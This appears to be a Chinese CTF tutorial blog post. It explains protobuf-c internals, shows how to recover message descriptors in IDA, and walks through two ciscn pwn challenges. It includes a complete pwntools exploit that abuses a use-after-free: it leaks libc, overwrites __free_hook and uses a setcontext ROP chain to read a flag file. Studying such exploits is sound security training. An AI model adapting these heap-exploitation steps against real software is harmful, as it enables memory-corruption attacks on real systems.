protobuf Protobuf (Protocol Buffers) 是谷歌开发的一款无关平台,无关语言,可扩展,轻量级高效的序列化结构的数据格式 ,用于将自定义数据结构序列化成字节流,和将字节流反序列化为数据结构。
所以很适合做数据存储和为不同语言,不同应用之间互相通信的数据交换格式,只要实现相同的协议格式,即后缀为proto文件被编译成不同的语言版本,加入各自的项目中,这样不同的语言可以解析其它语言通过Protobuf序列化的数据。目前官方提供c++,java,go等语言支持。
安装 c与python接口
1 2 3 4 5 6 7 8 9 python3 -m pip install protobuf git clone https://github.com/protobuf-c/protobuf-c.git sudo apt install autoconf, automake, libtool,libprotobuf-dev,libprotoc-dev,protobuf-compiler ./autogen.sh ./configure --prefix=/usr/local/protobuf-c --libdir=/usr/lib make -j8 && make install sudo cp -r /usr/local/protobuf-c/include/protobuf-c /usr/include sudo ln -s /usr/local/protobuf-c/bin/protoc-gen-c /usr/local/bin/protoc-c
protobuf-c
是protobuf的非官方c实现编译器
python安装的则是protobuf的官方库,官方库还有自带的protoc(proobuf compiler)
使用 写个例子尝试一下
1 2 3 4 5 6 7 8 syntax = "proto2" ; message Person { required int32 id = 1 ; required string name = 2 ; optional string email = 3 ; }
执行
protoc-c --c_out=. msg.proto
可以看到生成了两个文件
msg.pb-c.c
与msg.pb-c.h
后者文件中声明了许多结构体与函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 #ifndef PROTOBUF_C_msg_2eproto__INCLUDED #define PROTOBUF_C_msg_2eproto__INCLUDED #include <protobuf-c/protobuf-c.h> PROTOBUF_C__BEGIN_DECLS #if PROTOBUF_C_VERSION_NUMBER < 1000000 # error This file was generated by a newer version of protoc-c which is incompatible with your libprotobuf-c headers. Please update your headers. #elif 1005000 < PROTOBUF_C_MIN_COMPILER_VERSION # error This file was generated by an older version of protoc-c which is incompatible with your libprotobuf-c headers. Please regenerate this file with a newer version of protoc-c. #endif typedef struct Person Person ;struct Person { ProtobufCMessage base; int32_t id; char *name; char *email; }; #define PERSON__INIT \ { PROTOBUF_C_MESSAGE_INIT (&person__descriptor) \ , 0, NULL, NULL } void person__init (Person *message) ; size_t person__get_packed_size (const Person *message) ; size_t person__pack (const Person *message, uint8_t *out) ;size_t person__pack_to_buffer (const Person *message, ProtobufCBuffer *buffer) ;Person * person__unpack (ProtobufCAllocator *allocator, size_t len, const uint8_t *data) ;void person__free_unpacked (Person *message, ProtobufCAllocator *allocator) ;typedef void (*Person_Closure) (const Person *message, void *closure_data) ;extern const ProtobufCMessageDescriptor person__descriptor;PROTOBUF_C__END_DECLS #endif
然后便是.c文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 #ifndef PROTOBUF_C__NO_DEPRECATED #define PROTOBUF_C__NO_DEPRECATED #endif #include "msg.pb-c.h" void person__init (Person *message) { static const Person init_value = PERSON__INIT; *message = init_value; } size_t person__get_packed_size (const Person *message) { assert(message->base.descriptor == &person__descriptor); return protobuf_c_message_get_packed_size ((const ProtobufCMessage*)(message)); } size_t person__pack (const Person *message, uint8_t *out) { assert(message->base.descriptor == &person__descriptor); return protobuf_c_message_pack ((const ProtobufCMessage*)message, out); } size_t person__pack_to_buffer (const Person *message, ProtobufCBuffer *buffer) { assert(message->base.descriptor == &person__descriptor); return protobuf_c_message_pack_to_buffer ((const ProtobufCMessage*)message, buffer); } Person * person__unpack (ProtobufCAllocator *allocator, size_t len, const uint8_t *data) { return (Person *) protobuf_c_message_unpack (&person__descriptor, allocator, len, data); } void person__free_unpacked (Person *message, ProtobufCAllocator *allocator) { if (!message) return ; assert(message->base.descriptor == &person__descriptor); protobuf_c_message_free_unpacked ((ProtobufCMessage*)message, allocator); } static const ProtobufCFieldDescriptor person__field_descriptors[3 ] ={ { "id" , 1 , PROTOBUF_C_LABEL_REQUIRED, PROTOBUF_C_TYPE_INT32, 0 , offsetof(Person, id), NULL , NULL , 0 , 0 ,NULL ,NULL }, { "name" , 2 , PROTOBUF_C_LABEL_REQUIRED, PROTOBUF_C_TYPE_STRING, 0 , offsetof(Person, name), NULL , NULL , 0 , 0 ,NULL ,NULL }, { "email" , 3 , PROTOBUF_C_LABEL_OPTIONAL, PROTOBUF_C_TYPE_STRING, 0 , offsetof(Person, email), NULL , NULL , 0 , 0 ,NULL ,NULL }, }; static const unsigned person__field_indices_by_name[] = { 2 , 0 , 1 , }; static const ProtobufCIntRange person__number_ranges[1 + 1 ] ={ { 1 , 0 }, { 0 , 3 } }; const ProtobufCMessageDescriptor person__descriptor ={ PROTOBUF_C__MESSAGE_DESCRIPTOR_MAGIC, "Person" , "Person" , "Person" , "" , sizeof (Person), 3 , person__field_descriptors, person__field_indices_by_name, 1 , person__number_ranges, (ProtobufCMessageInit) person__init, NULL ,NULL ,NULL };
之后如何使用,我们只需要在自己的代码中引入头文件
然后便能够引用这些符号进行序列化与反序列化了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 #include <stdio.h> #include "msg.pb-c.h" int main (void ) { Person person = PERSON__INIT; person.id = 1234 ; person.name = "John Doe" ; person.email = "johndoe@example.com" ; size_t len = person__get_packed_size(&person); uint8_t *buffer = malloc (len); person__pack(&person, buffer); Person *new_person = person__unpack(NULL , len, buffer); printf ("ID: %d\n" , new_person->id); printf ("Name: %s\n" , new_person->name); printf ("Email: %s\n" , new_person->email); free (buffer); person__free_unpacked(new_person, NULL ); return 0 ; }
逆向 对于逆向我们主要关注unpack这个函数
1 2 3 4 5 6 7 8 9 10 Person * person__unpack (ProtobufCAllocator *allocator, size_t len, const uint8_t *data) { return (Person *) protobuf_c_message_unpack (&person__descriptor, allocator, len, data); }
其返回是一个Person指针,所需要的三个参数
allocator一般不用理会,置0即可
len是长度,通过person__get_packed_size
得到
data就是指向序列化的字节流
可以看到person__unpack
仅仅是对protobuf_c_message_unpack
的封装
二者之间的差距就在于person__descriptor
结构体,其在.c文件中被创建
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 const ProtobufCMessageDescriptor person__descriptor ={ PROTOBUF_C__MESSAGE_DESCRIPTOR_MAGIC, "Person" , "Person" , "Person" , "" , sizeof (Person), 3 , person__field_descriptors, person__field_indices_by_name, 1 , person__number_ranges, (ProtobufCMessageInit) person__init, NULL ,NULL ,NULL };
protobuf-c/protobuf-c: Protocol Buffers implementation in C (github.com)
查看protobuf-c源码,得到这个结构体的定义
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 struct ProtobufCMessageDescriptor { uint32_t magic; const char *name; const char *short_name; const char *c_name; const char *package_name; size_t sizeof_message; unsigned n_fields; const ProtobufCFieldDescriptor *fields; const unsigned *fields_sorted_by_name; unsigned n_field_ranges; const ProtobufCIntRange *field_ranges; ProtobufCMessageInit message_init; void *reserved1; void *reserved2; void *reserved3; };
magic,一般为0x28AAEEF9
n_fields,关系到原始的message结构内有几条记录、
fields,这个指向message内所有记录类型组成的一个数组,可以借此逆向分析message结构。
如果需要具体分析一个结构体的组成,只需要关注n_fields与fields
在本例中其这样被初始化
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 static const ProtobufCFieldDescriptor person__field_descriptors[3 ] ={ { "id" , 1 , PROTOBUF_C_LABEL_REQUIRED, PROTOBUF_C_TYPE_INT32, 0 , offsetof(Person, id), NULL , NULL , 0 , 0 ,NULL ,NULL }, { "name" , 2 , PROTOBUF_C_LABEL_REQUIRED, PROTOBUF_C_TYPE_STRING, 0 , offsetof(Person, name), NULL , NULL , 0 , 0 ,NULL ,NULL }, { "email" , 3 , PROTOBUF_C_LABEL_OPTIONAL, PROTOBUF_C_TYPE_STRING, 0 , offsetof(Person, email), NULL , NULL , 0 , 0 ,NULL ,NULL }, };
源码中找到定义
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 struct ProtobufCFieldDescriptor { const char *name; uint32_t id; ProtobufCLabel label; ProtobufCType type; unsigned quantifier_offset; unsigned offset; const void *descriptor; const void *default_value; uint32_t flags; unsigned reserved_flags; void *reserved2; void *reserved3; };
name,名字,变量名
id,序号,即在message结构体中的顺序(等价于位置)
label,前面标记的required等标记
type,数据类型,string还是int64等
label与type都是枚举类型
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 typedef enum { PROTOBUF_C_LABEL_REQUIRED, PROTOBUF_C_LABEL_OPTIONAL, PROTOBUF_C_LABEL_REPEATED, PROTOBUF_C_LABEL_NONE, } ProtobufCLabel; typedef enum { PROTOBUF_C_TYPE_INT32, PROTOBUF_C_TYPE_SINT32, PROTOBUF_C_TYPE_SFIXED32, PROTOBUF_C_TYPE_INT64, PROTOBUF_C_TYPE_SINT64, PROTOBUF_C_TYPE_SFIXED64, PROTOBUF_C_TYPE_UINT32, PROTOBUF_C_TYPE_FIXED32, PROTOBUF_C_TYPE_UINT64, PROTOBUF_C_TYPE_FIXED64, PROTOBUF_C_TYPE_FLOAT, PROTOBUF_C_TYPE_DOUBLE, PROTOBUF_C_TYPE_BOOL, PROTOBUF_C_TYPE_ENUM, PROTOBUF_C_TYPE_STRING, PROTOBUF_C_TYPE_BYTES, PROTOBUF_C_TYPE_MESSAGE, } ProtobufCType;
ida结构体 为了方便在ida中查看相关结构体,可以将上述的两个结构体插入ida,当然需要处理一些不相关的数据
ProtobufCMessageDescriptor
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 struct ProtobufCMessageDescriptor { uint32_t magic; const char *name; const char *short_name; const char *c_name; const char *package_name; size_t sizeof_message; unsigned int n_fields; const ProtobufCFieldDescriptor *fields; const unsigned int *fields_sorted_by_name; unsigned int n_field_ranges; char *field_ranges; __int64 message_init; void *reserved1; void *reserved2; void *reserved3; };
ProtobufCFieldDescriptor
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 struct ProtobufCFieldDescriptor { const char *name; uint32_t id; int label; int type; unsigned int quantifier_offset; unsigned int offset; const void *descriptor; const void *default_value; uint32_t flags; unsigned int reserved_flags; void *reserved2; void *reserved3; };
例题 ciscn2023-StrangeTalkBot 程序主流程十分清晰
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 void __fastcall __noreturn main (__int64 a1, char **a2, char **a3) { ssize_t v3; _QWORD *v4; sub_1763(a1, a2, a3); while ( 1 ) { memset (&unk_A060, 0 , 0x400 uLL); puts ("You can try to have friendly communication with me now: " ); v3 = read(0 , &unk_A060, 0x400 uLL); v4 = (_QWORD *)sub_192D(0LL , v3, &unk_A060); if ( !v4 ) break ; sub_155D(v4[3 ], v4[4 ], v4[5 ], v4[6 ], v4[7 ]); } sub_1329(); }
有沙盒不能getshell
sub_155D
是一个很明显的菜单堆,漏洞也很清晰就是一个uaf
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 __int64 __fastcall sub_155D (__int64 a1, unsigned __int64 a2, unsigned __int64 a3, unsigned __int64 a4, __int64 a5) { unsigned __int64 v6; v6 = a3; if ( a2 >= 0x21 ) sub_1329(); if ( a4 >= 0xF1 ) sub_1329(); if ( a3 >= 0xF1 ) sub_1329(); if ( (__int64)a3 < (__int64)a4 ) v6 = a4; if ( a1 == 4 ) return sub_14FC(a2); if ( a1 > 4 ) goto LABEL_19; if ( a1 == 3 ) return sub_148A(a2); if ( a1 == 1 ) return sub_1347(a2, v6, a4, a5); if ( a1 != 2 ) LABEL_19: sub_1329(); return sub_13EF(a2, a4, a5); }
关键在于
1 2 3 4 5 6 v4 = (_QWORD *)sub_192D(0LL , v3, &unk_A060); __int64 __fastcall sub_192D (__int64 a1, __int64 a2, __int64 a3) { return sub_5090(&unk_9C80, a1, a2, a3); }
这个格式是不是很像protobuf的解包函数
以及结合我们在字符串中发现的一些字符
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 .rodata:00000000000074E0 00000022 C BINARYBF_c_service_generated_init .rodata:0000000000007520 00000023 C BINARYBF_c_service_invoke_internal .rodata:0000000000007560 00000021 C BINARYBF_c_message_free_unpacked .rodata:0000000000007590 0000001D C parse_packed_repeated_member .rodata:00000000000075B0 0000000D C parse_member .rodata:00000000000075C0 0000001A C BINARYBF_c_message_unpack .rodata:00000000000075E0 0000001B C pack_buffer_packed_payload .rodata:0000000000007600 0000001A C get_packed_payload_length .rodata:0000000000007620 0000001E C repeated_field_pack_to_buffer .rodata:0000000000007640 0000001E C required_field_pack_to_buffer .rodata:0000000000007660 00000022 C BINARYBF_c_message_pack_to_buffer .rodata:0000000000007690 0000001D C sizeof_elt_in_repeated_array .rodata:00000000000076B0 00000014 C repeated_field_pack .rodata:00000000000076D0 00000014 C required_field_pack .rodata:00000000000076F0 00000018 C BINARYBF_c_message_pack .rodata:0000000000007710 0000001F C required_field_get_packed_size .rodata:0000000000007740 00000023 C BINARYBF_c_message_get_packed_size .rodata:0000000000007764 00000018 C BINARYBF-c/BINARYBF-c.c .rodata:000000000000777E 00000006 C 1.4.1 .rodata:0000000000007784 00000013 C tmp == payload_len .rodata:0000000000007797 00000017 C rv->descriptor != NULL .rodata:00000000000077B0 0000002E C method_index < service->descriptor->n_methods .rodata:00000000000077E0 00000047 C ((message)->descriptor)->magic == BINARYBF_C__MESSAGE_DESCRIPTOR_MAGIC .rodata:0000000000007828 0000002A C actual_length_size == length_size_min + 1 .rodata:0000000000007858 00000036 C (desc)->magic == BINARYBF_C__MESSAGE_DESCRIPTOR_MAGIC .rodata:0000000000007890 0000003C C (descriptor)->magic == BINARYBF_C__SERVICE_DESCRIPTOR_MAGIC
基本能够确定这是protobuf的unpack函数,版本是1.4.1
那么逆向的关键其实就是在&unk_9C80
了
很显然这是一个ProtobufCMessageDescriptor
对象
我们只需要在ida中手动添加一下结构体(一些不重要的类型直接用大小相等的数据类型替代)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 00000000 ; Ins/Del : create/delete structure00000000 ; D/A
这样看起来就舒服多了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 .data.rel.ro:0000000000009C80 ; struct ProtobufCMessageDescriptor stru_9C80 .data.rel.ro:0000000000009C80 F9 EE AA 28 00 00 00 00 D0 70+stru_9C80 dd 28AAEEF9h ; magic .data.rel.ro:0000000000009C80 00 00 00 00 00 00 DA 70 00 00+ ; DATA XREF: sub_185D+53↑o .data.rel.ro:0000000000009C80 00 00 00 00 DA 70 00 00 00 00+ ; sub_192D+27↑o .data.rel.ro:0000000000009C80 00 00 E4 70 00 00 00 00 00 00+ ; .data.rel.ro:0000000000009D00↓o .data.rel.ro:0000000000009C80 40 00 00 00 00 00 00 00 04 00+db 4 dup(0) ; "devicemsg" ... .data.rel.ro:0000000000009C80 00 00 00 00 00 00 60 9B 00 00+dq offset aDevicemsg ; name .data.rel.ro:0000000000009C80 00 00 00 00 B0 70 00 00 00 00+dq offset aDevicemsg_0 ; short_name .data.rel.ro:0000000000009C80 00 00 01 00 00 00 00 00 00 00+dq offset aDevicemsg_0 ; c_name .data.rel.ro:0000000000009C80 C0 70 00 00 00 00 00 00 5D 18+dq offset unk_70E4 ; package_name .data.rel.ro:0000000000009C80 00 00 00 00 00 00 00 00 00 00+dq 40h ; sizeof_message .data.rel.ro:0000000000009C80 00 00 00 00 00 00 00 00 00 00+dd 4 ; n_fields .data.rel.ro:0000000000009C80 00 00 00 00 00 00 00 00 00 00 db 4 dup(0) .data.rel.ro:0000000000009C80 dq offset stru_9B60 ; fields .data.rel.ro:0000000000009C80 dq offset unk_70B0 ; fields_sorted_by_name .data.rel.ro:0000000000009C80 dd 1 ; n_field_ranges .data.rel.ro:0000000000009C80 db 4 dup(0) .data.rel.ro:0000000000009C80 dq offset unk_70C0 ; field_ranges .data.rel.ro:0000000000009C80 dq offset sub_185D ; message_init .data.rel.ro:0000000000009C80 dq 0 ; reserved1 .data.rel.ro:0000000000009C80 dq 0 ; reserved2 .data.rel.ro:0000000000009C80 dq 0 ; reserved3
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 .data.rel.ro:0000000000009B60 80 70 00 00 00 00 00 00 01 00+stru_9B60 dq offset aActionid ; name .data.rel.ro:0000000000009B60 00 00 00 00 00 00 04 00 00 00+ ; DATA XREF: .data.rel.ro:stru_9C80↓o .data.rel.ro:0000000000009B60 00 00 00 00 18 00 00 00 00 00+dd 1 ; id ; "actionid" .data.rel.ro:0000000000009B60 00 00 00 00 00 00 00 00 00 00+dd 0 ; label .data.rel.ro:0000000000009B60 00 00 00 00 00 00 00 00 00 00+dd 4 ; type .data.rel.ro:0000000000009B60 00 00 00 00 00 00 00 00 00 00+dd 0 ; quantifier_offset .data.rel.ro:0000000000009B60 00 00 00 00 00 00 00 00 00 00+dd 18h ; offset .data.rel.ro:0000000000009B60 00 00 db 4 dup(0) .data.rel.ro:0000000000009B60 dq 0 ; descriptor .data.rel.ro:0000000000009B60 dq 0 ; default_value .data.rel.ro:0000000000009B60 dd 0 ; flags .data.rel.ro:0000000000009B60 dd 0 ; reserved_flags .data.rel.ro:0000000000009B60 dq 0 ; reserved2 .data.rel.ro:0000000000009B60 dq 0 ; reserved3 .data.rel.ro:0000000000009BA8 89 70 00 00 00 00 00 00 02 00+dq offset aMsgidx ; name ; "msgidx" .data.rel.ro:0000000000009BA8 00 00 00 00 00 00 04 00 00 00+dd 2 ; id .data.rel.ro:0000000000009BA8 00 00 00 00 20 00 00 00 00 00+dd 0 ; label .data.rel.ro:0000000000009BA8 00 00 00 00 00 00 00 00 00 00+dd 4 ; type .data.rel.ro:0000000000009BA8 00 00 00 00 00 00 00 00 00 00+dd 0 ; quantifier_offset .data.rel.ro:0000000000009BA8 00 00 00 00 00 00 00 00 00 00+dd 20h ; offset .data.rel.ro:0000000000009BA8 00 00 00 00 00 00 00 00 00 00+db 4 dup(0) .data.rel.ro:0000000000009BA8 00 00 dq 0 ; descriptor .data.rel.ro:0000000000009BA8 dq 0 ; default_value .data.rel.ro:0000000000009BA8 dd 0 ; flags .data.rel.ro:0000000000009BA8 dd 0 ; reserved_flags .data.rel.ro:0000000000009BA8 dq 0 ; reserved2 .data.rel.ro:0000000000009BA8 dq 0 ; reserved3 .data.rel.ro:0000000000009BF0 90 70 00 00 00 00 00 00 03 00+dq offset aMsgsize ; name ; "msgsize" .data.rel.ro:0000000000009BF0 00 00 00 00 00 00 04 00 00 00+dd 3 ; id .data.rel.ro:0000000000009BF0 00 00 00 00 28 00 00 00 00 00+dd 0 ; label .data.rel.ro:0000000000009BF0 00 00 00 00 00 00 00 00 00 00+dd 4 ; type .data.rel.ro:0000000000009BF0 00 00 00 00 00 00 00 00 00 00+dd 0 ; quantifier_offset .data.rel.ro:0000000000009BF0 00 00 00 00 00 00 00 00 00 00+dd 28h ; offset .data.rel.ro:0000000000009BF0 00 00 00 00 00 00 00 00 00 00+db 4 dup(0) .data.rel.ro:0000000000009BF0 00 00 dq 0 ; descriptor .data.rel.ro:0000000000009BF0 dq 0 ; default_value .data.rel.ro:0000000000009BF0 dd 0 ; flags .data.rel.ro:0000000000009BF0 dd 0 ; reserved_flags .data.rel.ro:0000000000009BF0 dq 0 ; reserved2 .data.rel.ro:0000000000009BF0 dq 0 ; reserved3 .data.rel.ro:0000000000009C38 98 70 00 00 00 00 00 00 04 00+dq offset aMsgcontent ; name ; "msgcontent" .data.rel.ro:0000000000009C38 00 00 00 00 00 00 0F 00 00 00+dd 4 ; id .data.rel.ro:0000000000009C38 00 00 00 00 30 00 00 00 00 00+dd 0 ; label .data.rel.ro:0000000000009C38 00 00 00 00 00 00 00 00 00 00+dd 0Fh ; type .data.rel.ro:0000000000009C38 00 00 00 00 00 00 00 00 00 00+dd 0 ; quantifier_offset .data.rel.ro:0000000000009C38 00 00 00 00 00 00 00 00 00 00+dd 30h ; offset .data.rel.ro:0000000000009C38 00 00 00 00 00 00 00 00 00 00+db 4 dup(0) .data.rel.ro:0000000000009C38 00 00 dq 0 ; descriptor .data.rel.ro:0000000000009C38 dq 0 ; default_value .data.rel.ro:0000000000009C38 dd 0 ; flags .data.rel.ro:0000000000009C38 dd 0 ; reserved_flags .data.rel.ro:0000000000009C38 dq 0 ; reserved2 .data.rel.ro:0000000000009C38 dq 0 ; reserved3 .data.rel.ro:0000000000009C80 ; struct ProtobufCMessageDescriptor stru_9C80 .data.rel.ro:0000000000009C80 F9 EE AA 28 00 00 00 00 D0 70+stru_9C80 dd 28AAEEF9h ; magic .data.rel.ro:0000000000009C80 00 00 00 00 00 00 DA 70 00 00+ ; DATA XREF: sub_185D+53↑o .data.rel.ro:0000000000009C80 00 00 00 00 DA 70 00 00 00 00+ ; sub_192D+27↑o .data.rel.ro:0000000000009C80 00 00 E4 70 00 00 00 00 00 00+ ; .data.rel.ro:0000000000009D00↓o .data.rel.ro:0000000000009C80 40 00 00 00 00 00 00 00 04 00+db 4 dup(0) ; "devicemsg" ... .data.rel.ro:0000000000009C80 00 00 00 00 00 00 60 9B 00 00+dq offset aDevicemsg ; name .data.rel.ro:0000000000009C80 00 00 00 00 B0 70 00 00 00 00+dq offset aDevicemsg_0 ; short_name .data.rel.ro:0000000000009C80 00 00 01 00 00 00 00 00 00 00+dq offset aDevicemsg_0 ; c_name .data.rel.ro:0000000000009C80 C0 70 00 00 00 00 00 00 5D 18+dq offset unk_70E4 ; package_name .data.rel.ro:0000000000009C80 00 00 00 00 00 00 00 00 00 00+dq 40h ; sizeof_message .data.rel.ro:0000000000009C80 00 00 00 00 00 00 00 00 00 00+dd 4 ; n_fields .data.rel.ro:0000000000009C80 00 00 00 00 00 00 00 00 00 00 db 4 dup(0) .data.rel.ro:0000000000009C80 dq offset stru_9B60 ; fields .data.rel.ro:0000000000009C80 dq offset unk_70B0 ; fields_sorted_by_name .data.rel.ro:0000000000009C80 dd 1 ; n_field_ranges .data.rel.ro:0000000000009C80 db 4 dup(0) .data.rel.ro:0000000000009C80 dq offset unk_70C0 ; field_ranges .data.rel.ro:0000000000009C80 dq offset sub_185D ; message_init .data.rel.ro:0000000000009C80 dq 0 ; reserved1 .data.rel.ro:0000000000009C80 dq 0 ; reserved2 .data.rel.ro:0000000000009C80 dq 0 ; reserved3
最终可以得出,前面三个成员的数据类型为sint64
,最后一个成员的数据类型为bytes
,所以可以自己写出proto
文件了。
1 2 3 4 5 6 7 8 syntax = "proto2" ; message Devicemsg{ required sint64 actionid = 1 ; required sint64 msgidx = 2 ; required sint64 msgsize = 3 ; required bytes msgcontent = 4 ; }
然后只需要使用
1 protoc --python_out=. ./msg.proto
就可以生成python专用的脚本文件
之后只需要在exp中import就可以进行序列化交互了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 from pwn import *import Devicemsg_pb2elf = ELF('./pwn' ) r = process('./pwn' ) libc = ELF('./libc.so.6' ) context.log_level = 'debug' context.terminal = ['tmux' , 'splitw' , '-h' ] context.arch = 'amd64' def create (idx, size, content=b'' ): msg = Devicemsg_pb2.Devicemsg() msg.actionid = 1 msg.msgidx = idx msg.msgsize = size msg.msgcontent = content r.recvuntil(b'You can try to have friendly communication with me now: ' ) r.send(msg.SerializeToString()) def edit (idx, content ): msg = Devicemsg_pb2.Devicemsg() msg.actionid = 2 msg.msgidx = idx msg.msgsize = 0 msg.msgcontent = content r.recvuntil(b'You can try to have friendly communication with me now: ' ) r.send(msg.SerializeToString()) def show (idx ): msg = Devicemsg_pb2.Devicemsg() msg.actionid = 3 msg.msgidx = idx msg.msgsize = 0 msg.msgcontent = b'' r.recvuntil(b'You can try to have friendly communication with me now: ' ) r.send(msg.SerializeToString()) def delete (idx ): msg = Devicemsg_pb2.Devicemsg() msg.actionid = 4 msg.msgidx = idx msg.msgsize = 0 msg.msgcontent = b'' r.recvuntil(b'You can try to have friendly communication with me now: ' ) r.send(msg.SerializeToString()) for i in range (8 ): create(i, 0xf0 ) for i in range (8 ): delete(7 -i) show(0 ) r.recvline() r.recv(0x50 ) libc_base = u64(r.recv(8 )) - 0x1ecbe0 print ("libc_base => " , hex (libc_base))show(1 ) r.recvline() heap_base = u64(r.recv(8 )) - 0x590 print ("heap_base => " , hex (heap_base))setcontext = libc_base + libc.symbols['setcontext' ] + 61 __free_hook = libc_base + libc.symbols['__free_hook' ] open_addr = libc_base + libc.symbols['open' ] read_addr = libc_base + libc.symbols['read' ] puts_addr = libc_base + libc.symbols['puts' ] ret_addr = libc_base + 0x0000000000022679 pop_rdi = libc_base + 0x0000000000023b6a pop_rsi = libc_base + 0x000000000002601f pop_rdx = libc_base + 0x0000000000142c92 magic_gadget = libc_base + 0x151990 edit(1 , flat(__free_hook, 0 )) create(8 , 0xf0 ) create(9 , 0xf0 , flat(magic_gadget)) flag_addr = heap_base + 0x440 rop_chain = b'' rop_chain += flat(pop_rdi, flag_addr, pop_rsi, 2 , open_addr) rop_chain += flat(pop_rdi, 3 , pop_rsi, libc_base + libc.bss() + 0x500 , pop_rdx, 0x50 , read_addr) rop_chain += flat(pop_rdi, libc_base + libc.bss() + 0x500 , puts_addr) payload = flat(b'./flag' +b'\x00' *2 , flag_addr) payload = payload.ljust(0x20 , b'\x00' ) + flat(setcontext) payload = payload.ljust(0x28 , b'\x00' ) + rop_chain payload = payload.ljust(0xa0 , b'\x00' ) + flat(flag_addr + 0x28 , ret_addr) edit(8 , payload) delete(8 ) r.interactive()
版本相关
最后需要注意的是,有时候会因为版本的差异
导致序列化的细节不相同
所以这时候就需要对应的版本
可以参考 Pwn进你的心 (ywhkkx.github.io)
ciscn2024-ezbuf 时隔一年,2024的ciscn又出现了两道protobuf的题目,这是第一天放出的最后一题
按照之前的方法写出proto
1 2 3 4 5 6 7 8 9 syntax = "proto3" ; message Devicemsg { bytes whatcon = 1 ; sint64 whattodo = 2 ; sint64 whatidx = 3 ; sint64 whatsize = 4 ; uint32 whatthis = 5 ; }
然后生成python接口
1 protoc --python_out=. ./ezbuf.proto
这里在生成的时候遇到了一些问题,即提示版本不适配,
这个时候去protobuf: Protocol Buffers 下载要求的protoc版本,并使用其编译
然后再指定python的protobuf包版本与之匹配即可开始使用
1 pip install protobuf=version
然后写出交互函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 def add (idx,content=b'' ): msg = c_pb2.Devicemsg() msg.whatcon = content msg.whattodo = 1 msg.whatidx = idx msg.whatsize = 0 msg.whatthis = 0 sa(b'WHAT DO YOU WANT?\n' ,msg.SerializeToString()) def delete (idx ): msg = c_pb2.Devicemsg() msg.whatcon = b'' msg.whattodo = 2 msg.whatidx = idx msg.whatsize = 1 msg.whatthis = 2 sa(b'WHAT DO YOU WANT?\n' ,msg.SerializeToString()) def show (idx ): msg = c_pb2.Devicemsg() msg.whatcon = b'' msg.whattodo = 3 msg.whatidx = idx msg.whatsize = 0 msg.whatthis = 0 sa(b'WHAT DO YOU WANT?\n' ,msg.SerializeToString())
这道题目有点意思,比赛的时候一直被show函数中的两个分支给迷惑了,一直在想这两个分支有什么用,最后结论是没软用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 unsigned __int64 __fastcall show (unsigned int idx, int this, __int64 size, __int64 a4, char *content) { char delim; unsigned int v9; char *v10; char v11[15 ]; *(_QWORD *)&v11[7 ] = __readfsqword(0x28 u); v9 = idx; delim = this; strcpy (v11, "hahaha" ); if ( idx <= 8 && ptr_qword_C0A0[v9] ) v10 = (char *)ptr_qword_C0A0[v9]; else v10 = v11; printf ("Content:" ); if ( this == '\xFF' ) { seccomp_load(qword_C328); strtok(content, &delim); v10 = strtok(0LL , &delim); } if ( size == '0' ) { strtok(buf, &delim); v10 = strtok(0LL , &delim); } printf ("%s\n" , v10); free (buf); if ( ++dword_C084 == 3 ) { close(1 ); close(2 ); } return *(_QWORD *)&v11[7 ] - __readfsqword(0x28 u); }
add函数,能够申请9个note
